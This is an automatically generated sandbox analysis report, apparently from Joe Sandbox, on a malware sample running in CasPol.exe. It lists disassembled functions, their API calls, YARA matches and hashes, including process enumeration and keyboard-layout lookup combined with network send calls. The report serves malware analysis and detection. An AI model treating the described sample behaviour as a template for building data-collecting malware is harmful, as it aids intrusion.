                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: ByteCharMultiWide_free$ErrorFreeHeapInformationLastTimeZone
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 1286116820-0
                                                                                                                                                                                                  • Opcode ID: 5cd2e88b37ead4a53a3ad7e2b8222e2e62bf3e8d34a7aba608fbabac987024fa
                                                                                                                                                                                                  • Instruction ID: 45cf5ea20785abb2a7eec221213eb08c1b8584214e6df16efc40294c4842d026
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 5cd2e88b37ead4a53a3ad7e2b8222e2e62bf3e8d34a7aba608fbabac987024fa
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 1B51EC71900205ABEB14EF69DD819AFB7B8EF44724F20066FE418D3291EB789D41DB58
                                                                                                                                                                                                  Function 0040F938 Relevance: 7.6, APIs: 5, Instructions: 132processCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                    • Part of subcall function 0041C048: GetCurrentProcess.KERNEL32(?,?,?,0040DAE5,WinDir,00000000,00000000), ref: 0041C059
                                                                                                                                                                                                    • Part of subcall function 0041C048: IsWow64Process.KERNEL32(00000000,?,?,0040DAE5,WinDir,00000000,00000000), ref: 0041C060
                                                                                                                                                                                                  • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0040F956
                                                                                                                                                                                                  • Process32FirstW.KERNEL32(00000000,?), ref: 0040F97A
                                                                                                                                                                                                  • Process32NextW.KERNEL32(00000000,0000022C), ref: 0040F989
                                                                                                                                                                                                  • CloseHandle.KERNEL32(00000000), ref: 0040FB40
                                                                                                                                                                                                    • Part of subcall function 0041C076: OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,0040F634,00000000,?,?,00475338), ref: 0041C08B
                                                                                                                                                                                                    • Part of subcall function 0041C076: IsWow64Process.KERNEL32(00000000,?,?,?,00475338), ref: 0041C096
                                                                                                                                                                                                    • Part of subcall function 0041C26E: OpenProcess.KERNEL32(00001000,00000000,?,00000000,00000000,00000000), ref: 0041C286
                                                                                                                                                                                                    • Part of subcall function 0041C26E: OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,00000000,00000000), ref: 0041C299
                                                                                                                                                                                                  • Process32NextW.KERNEL32(00000000,0000022C), ref: 0040FB31
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Process$OpenProcess32$NextWow64$CloseCreateCurrentFirstHandleSnapshotToolhelp32
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 2180151492-0
                                                                                                                                                                                                  • Opcode ID: 50254459e3ae93045f6dbd6e6e7947e0bfa4b0136177b8b2dd2d26406979134f
                                                                                                                                                                                                  • Instruction ID: d02cab962e177bd28921c4f9a71df23b762ba7d31cecf8da060328e0f3db66c6
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 50254459e3ae93045f6dbd6e6e7947e0bfa4b0136177b8b2dd2d26406979134f
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 5F4136311083419BC325F722DC51AEFB3A5AF94305F50493EF58A921E2EF385A49C65A
                                                                                                                                                                                                  Function 00443E99 Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: _free
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 269201875-0
                                                                                                                                                                                                  • Opcode ID: 1c82e8231a1e7df7fc61a9fb39ee41d92c56425fa3e393906510b0ca3dcf776a
                                                                                                                                                                                                  • Instruction ID: bbec49e9ccdd5c2af131aecc9b6810ea24321c3eb42f74c08fbdd36582e243a3
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 1c82e8231a1e7df7fc61a9fb39ee41d92c56425fa3e393906510b0ca3dcf776a
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 5F41E232E00200AFEB14DF78C881A5EB3B5EF89B18F1545AEE915EB351D735AE05CB84
                                                                                                                                                                                                  Function 004511AC Relevance: 7.6, APIs: 5, Instructions: 110COMMONLIBRARYCODE
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • MultiByteToWideChar.KERNEL32(?,00000000,?,00000000,00000000,00000000,0042DD92,?,?,?,00000001,00000000,?,00000001,0042DD92,0042DD92), ref: 004511F9
                                                                                                                                                                                                  • __alloca_probe_16.LIBCMT ref: 00451231
                                                                                                                                                                                                  • MultiByteToWideChar.KERNEL32(?,00000001,?,00000000,00000000,0042DD92,?,?,?,00000001,00000000,?,00000001,0042DD92,0042DD92,?), ref: 00451282
                                                                                                                                                                                                  • GetStringTypeW.KERNEL32(00000001,00000000,00000000,00000001,?,?,?,00000001,00000000,?,00000001,0042DD92,0042DD92,?,00000002,00000000), ref: 00451294
                                                                                                                                                                                                  • __freea.LIBCMT ref: 0045129D
                                                                                                                                                                                                    • Part of subcall function 004461B8: RtlAllocateHeap.NTDLL(00000000,00435329,?,?,004388C7,?,?,00000000,?,?,0040DE9D,00435329,?,?,?,?), ref: 004461EA
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: ByteCharMultiWide$AllocateHeapStringType__alloca_probe_16__freea
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 313313983-0
                                                                                                                                                                                                  • Opcode ID: 505ad9812f568066b07f0fb8a09e4f725dd1d0495a5b090eb77152ea1c2fabb2
                                                                                                                                                                                                  • Instruction ID: f723c28c07ecd650b398e20bb728631ced1c531215915adb10fa1f31571a6cea
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 505ad9812f568066b07f0fb8a09e4f725dd1d0495a5b090eb77152ea1c2fabb2
                                                                                                                                                                                                  • Instruction Fuzzy Hash: F7310331A0020AABDF249F65DC41EAF7BA5EB04701F0445AAFC08E72A2E739CC55CB94
                                                                                                                                                                                                  Function 0044F3DA Relevance: 7.6, APIs: 5, Instructions: 68COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • GetEnvironmentStringsW.KERNEL32 ref: 0044F3E3
                                                                                                                                                                                                  • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0044F406
                                                                                                                                                                                                    • Part of subcall function 004461B8: RtlAllocateHeap.NTDLL(00000000,00435329,?,?,004388C7,?,?,00000000,?,?,0040DE9D,00435329,?,?,?,?), ref: 004461EA
                                                                                                                                                                                                  • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 0044F42C
                                                                                                                                                                                                  • _free.LIBCMT ref: 0044F43F
                                                                                                                                                                                                  • FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0044F44E
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 336800556-0
                                                                                                                                                                                                  • Opcode ID: bd5b513fc8b609e28947bb0fbcaa4a85653cdf481583ed06f966610d709b3706
                                                                                                                                                                                                  • Instruction ID: b6d7bf627ac8e1e23e8e90154f8049d5dc13ee9613ce4caf203d647ba434722a
                                                                                                                                                                                                  • Opcode Fuzzy Hash: bd5b513fc8b609e28947bb0fbcaa4a85653cdf481583ed06f966610d709b3706
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 2401DF72602721BF37211ABB5C8DC7F6AACDEC6FA5355013AFD04D2202DE688D0691B9
                                                                                                                                                                                                  Function 10007153 Relevance: 7.6, APIs: 5, Instructions: 68COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • GetEnvironmentStringsW.KERNEL32 ref: 1000715C
                                                                                                                                                                                                  • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 1000717F
                                                                                                                                                                                                    • Part of subcall function 100056D0: RtlAllocateHeap.NTDLL(00000000,?,00000000), ref: 10005702
                                                                                                                                                                                                  • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 100071A5
                                                                                                                                                                                                  • _free.LIBCMT ref: 100071B8
                                                                                                                                                                                                  • FreeEnvironmentStringsW.KERNEL32(00000000), ref: 100071C7
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.658489687.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658478098.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658489687.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_10000000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 336800556-0
                                                                                                                                                                                                  • Opcode ID: dbf9df5b4a4e45fd59d7b0ba6c08b1d97dee470f846bf8241c04808ce4e83989
                                                                                                                                                                                                  • Instruction ID: fdf90bdbf822fabaf3dd9d310e80898d5fc59248e37e3ebe61ec6e18e74c85b1
                                                                                                                                                                                                  • Opcode Fuzzy Hash: dbf9df5b4a4e45fd59d7b0ba6c08b1d97dee470f846bf8241c04808ce4e83989
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 6601D872A01225BB73129BBE5C8CDBF2A6DFBC69E0311012AFD0CC7288DB658C0181B0
                                                                                                                                                                                                  Function 10005B7A Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • GetLastError.KERNEL32(00000000,?,00000000,1000636D,10005713,00000000,?,10002249,?,?,10001D66,00000000,?,?,00000000), ref: 10005B7F
                                                                                                                                                                                                  • _free.LIBCMT ref: 10005BB4
                                                                                                                                                                                                  • _free.LIBCMT ref: 10005BDB
                                                                                                                                                                                                  • SetLastError.KERNEL32(00000000,?,?,00000000,?,?,?,?,?,?,00000000), ref: 10005BE8
                                                                                                                                                                                                  • SetLastError.KERNEL32(00000000,?,?,00000000,?,?,?,?,?,?,00000000), ref: 10005BF1
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.658489687.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658478098.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658489687.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_10000000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: ErrorLast$_free
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 3170660625-0
                                                                                                                                                                                                  • Opcode ID: 6445a1f563467e3e4669709244547b488691a64b9545451a4f80944232cffe94
                                                                                                                                                                                                  • Instruction ID: a404960836b3e2f032ab47abdd1028028b52a365ddf0c47563f665e512f3cffd
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 6445a1f563467e3e4669709244547b488691a64b9545451a4f80944232cffe94
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 5501F47A108A52A7F202E7345C85E1F3AAEDBC55F37220025FD19A615EEF73FD024164
                                                                                                                                                                                                  Function 10001E89 Relevance: 7.5, APIs: 5, Instructions: 41stringCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • lstrlenW.KERNEL32(?,?,?,?,?,100010DF,?,?,?,00000000), ref: 10001E9A
                                                                                                                                                                                                  • lstrcatW.KERNEL32(?,?), ref: 10001EAC
                                                                                                                                                                                                  • lstrlenW.KERNEL32(?,?,100010DF,?,?,?,00000000), ref: 10001EB3
                                                                                                                                                                                                  • lstrlenW.KERNEL32(?,?,100010DF,?,?,?,00000000), ref: 10001EC8
                                                                                                                                                                                                  • lstrcatW.KERNEL32(?,100010DF), ref: 10001ED3
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.658489687.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658478098.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658489687.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_10000000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: lstrlen$lstrcat
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 493641738-0
                                                                                                                                                                                                  • Opcode ID: 15c5d9995ac510f09c0b88b7baf044722e7f40351600db373de5a6e0e33856fc
                                                                                                                                                                                                  • Instruction ID: f5d9027fafc921fe84ae6627056796c55de3fa1ad923a59450c5185d8ca5453c
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 15c5d9995ac510f09c0b88b7baf044722e7f40351600db373de5a6e0e33856fc
                                                                                                                                                                                                  • Instruction Fuzzy Hash: D8F082261002207AF621772AECC5FBF7B7CEFC6AA0F04001AFA0C83194DB54684292B5
                                                                                                                                                                                                  Function 00450A3C Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • _free.LIBCMT ref: 00450A54
                                                                                                                                                                                                    • Part of subcall function 00446802: HeapFree.KERNEL32(00000000,00000000), ref: 00446818
                                                                                                                                                                                                    • Part of subcall function 00446802: GetLastError.KERNEL32(?,?,00450CEF,?,00000000,?,00000000,?,00450F93,?,00000007,?,?,004514DE,?,?), ref: 0044682A
                                                                                                                                                                                                  • _free.LIBCMT ref: 00450A66
                                                                                                                                                                                                  • _free.LIBCMT ref: 00450A78
                                                                                                                                                                                                  • _free.LIBCMT ref: 00450A8A
                                                                                                                                                                                                  • _free.LIBCMT ref: 00450A9C
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: _free$ErrorFreeHeapLast
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 776569668-0
                                                                                                                                                                                                  • Opcode ID: 3215379f381551316c6ac489d477ac1f9e59373460363398d28d4bb450e902e5
                                                                                                                                                                                                  • Instruction ID: 72fff71e7c38304dd33e0b5962bcef44c8ad6e5fbb3f6de42623dcf71f8de19c
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 3215379f381551316c6ac489d477ac1f9e59373460363398d28d4bb450e902e5
                                                                                                                                                                                                  • Instruction Fuzzy Hash: F7F012765053006B9620EB5DE883C1773D9EA157117A68C1BF549DB652C778FCC0866C
                                                                                                                                                                                                  Function 100091B8 Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • _free.LIBCMT ref: 100091D0
                                                                                                                                                                                                    • Part of subcall function 1000571E: HeapFree.KERNEL32(00000000,00000000), ref: 10005734
                                                                                                                                                                                                    • Part of subcall function 1000571E: GetLastError.KERNEL32(?,?,1000924F,?,00000000,?,00000000,?,10009276,?,00000007,?,?,10007E5A,?,?), ref: 10005746
                                                                                                                                                                                                  • _free.LIBCMT ref: 100091E2
                                                                                                                                                                                                  • _free.LIBCMT ref: 100091F4
                                                                                                                                                                                                  • _free.LIBCMT ref: 10009206
                                                                                                                                                                                                  • _free.LIBCMT ref: 10009218
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.658489687.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658478098.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658489687.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_10000000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: _free$ErrorFreeHeapLast
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 776569668-0
                                                                                                                                                                                                  • Opcode ID: 531e654f2f11120a5df636ecca0a5618a09e043c7f3cd6e1a71cca3ab3857efc
                                                                                                                                                                                                  • Instruction ID: a08e021c65853776c99c3fd86fadada58ae96d962e635c5153d22f52a77de1c5
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 531e654f2f11120a5df636ecca0a5618a09e043c7f3cd6e1a71cca3ab3857efc
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 77F06DB161C650ABE664DB58EAC6C4B7BEDFB003E13608805FC4DD7549CB31FC809A64
                                                                                                                                                                                                  Function 004440E8 Relevance: 7.5, APIs: 5, Instructions: 30COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • _free.LIBCMT ref: 00444106
                                                                                                                                                                                                    • Part of subcall function 00446802: HeapFree.KERNEL32(00000000,00000000), ref: 00446818
                                                                                                                                                                                                    • Part of subcall function 00446802: GetLastError.KERNEL32(?,?,00450CEF,?,00000000,?,00000000,?,00450F93,?,00000007,?,?,004514DE,?,?), ref: 0044682A
                                                                                                                                                                                                  • _free.LIBCMT ref: 00444118
                                                                                                                                                                                                  • _free.LIBCMT ref: 0044412B
                                                                                                                                                                                                  • _free.LIBCMT ref: 0044413C
                                                                                                                                                                                                  • _free.LIBCMT ref: 0044414D
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: _free$ErrorFreeHeapLast
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 776569668-0
                                                                                                                                                                                                  • Opcode ID: d22801927142449f45bafb541f3c6c05cfc56c6a25697691e9266b530bc09d46
                                                                                                                                                                                                  • Instruction ID: 0e9c2896d1a2baf17e4b980eca3efa8a556ca0a6e45d827b59e8921ed08f8926
                                                                                                                                                                                                  • Opcode Fuzzy Hash: d22801927142449f45bafb541f3c6c05cfc56c6a25697691e9266b530bc09d46
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 91F03AB18025208FA731AF2DBD528053BA1A705720356853BF40C62A71C7B849C2DFDF
                                                                                                                                                                                                  Function 10005351 Relevance: 7.5, APIs: 5, Instructions: 30COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • _free.LIBCMT ref: 1000536F
                                                                                                                                                                                                    • Part of subcall function 1000571E: HeapFree.KERNEL32(00000000,00000000), ref: 10005734
                                                                                                                                                                                                    • Part of subcall function 1000571E: GetLastError.KERNEL32(?,?,1000924F,?,00000000,?,00000000,?,10009276,?,00000007,?,?,10007E5A,?,?), ref: 10005746
                                                                                                                                                                                                  • _free.LIBCMT ref: 10005381
                                                                                                                                                                                                  • _free.LIBCMT ref: 10005394
                                                                                                                                                                                                  • _free.LIBCMT ref: 100053A5
                                                                                                                                                                                                  • _free.LIBCMT ref: 100053B6
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.658489687.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658478098.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658489687.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_10000000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: _free$ErrorFreeHeapLast
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 776569668-0
                                                                                                                                                                                                  • Opcode ID: 77e2762e1a20340d72e45a4044f221924c2ac7473818ed27067cb432955df604
                                                                                                                                                                                                  • Instruction ID: ba906e9feca9bc6e71cd1aa5ebacb8f64a9f241ffe6b13fedf7f16c4e4854dfa
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 77e2762e1a20340d72e45a4044f221924c2ac7473818ed27067cb432955df604
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 38F0F478C18934EBF741DF28ADC140A3BB5F718A91342C15AFC1497279DB36D9429B84
                                                                                                                                                                                                  Function 0044E769 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 168COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • _strpbrk.LIBCMT ref: 0044E7B8
                                                                                                                                                                                                  • _free.LIBCMT ref: 0044E8D5
                                                                                                                                                                                                    • Part of subcall function 0043BD68: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0043BD6A
                                                                                                                                                                                                    • Part of subcall function 0043BD68: GetCurrentProcess.KERNEL32(C0000417,?,00405103), ref: 0043BD8C
                                                                                                                                                                                                    • Part of subcall function 0043BD68: TerminateProcess.KERNEL32(00000000,?,00405103), ref: 0043BD93
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Process$CurrentFeaturePresentProcessorTerminate_free_strpbrk
                                                                                                                                                                                                  • String ID: *?$.
                                                                                                                                                                                                  • API String ID: 2812119850-3972193922
                                                                                                                                                                                                  • Opcode ID: 425935087bf6a06ef5f668eca0c2840133b7cce1b1476d2e54c501535b2ee598
                                                                                                                                                                                                  • Instruction ID: bbc13fc8ee10fdca904a4e9292213e09ebfa005f106ef5a16faeda3ce4fd08f7
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 425935087bf6a06ef5f668eca0c2840133b7cce1b1476d2e54c501535b2ee598
                                                                                                                                                                                                  • Instruction Fuzzy Hash: C251B175E00209AFEF14DFAAC881AAEF7B5FF58314F24416EE844E7341E6399A018B54
                                                                                                                                                                                                  Function 00409EDE Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 157COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • GetKeyboardLayoutNameA.USER32(?), ref: 00409F0E
                                                                                                                                                                                                    • Part of subcall function 004048C8: connect.WS2_32(FFFFFFFF,00D24948,00000010), ref: 004048E0
                                                                                                                                                                                                    • Part of subcall function 0041C5A6: CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000080,00000000), ref: 0041C5BB
                                                                                                                                                                                                    • Part of subcall function 00404AA1: send.WS2_32(FFFFFFFF,00000000,00000000,00000000), ref: 00404B36
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: CreateFileKeyboardLayoutNameconnectsend
                                                                                                                                                                                                  • String ID: XQG$NG$PG
                                                                                                                                                                                                  • API String ID: 1634807452-3565412412
                                                                                                                                                                                                  • Opcode ID: 24d1b81352f2547fa77c554ed12819fcaf45bb034c36d1f1b2d86084d4bb2f97
                                                                                                                                                                                                  • Instruction ID: 86122f73fea86c9dce3a8c8dcd7d10d1556e7c038dfd98f63e082762e027ad1b
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 24d1b81352f2547fa77c554ed12819fcaf45bb034c36d1f1b2d86084d4bb2f97
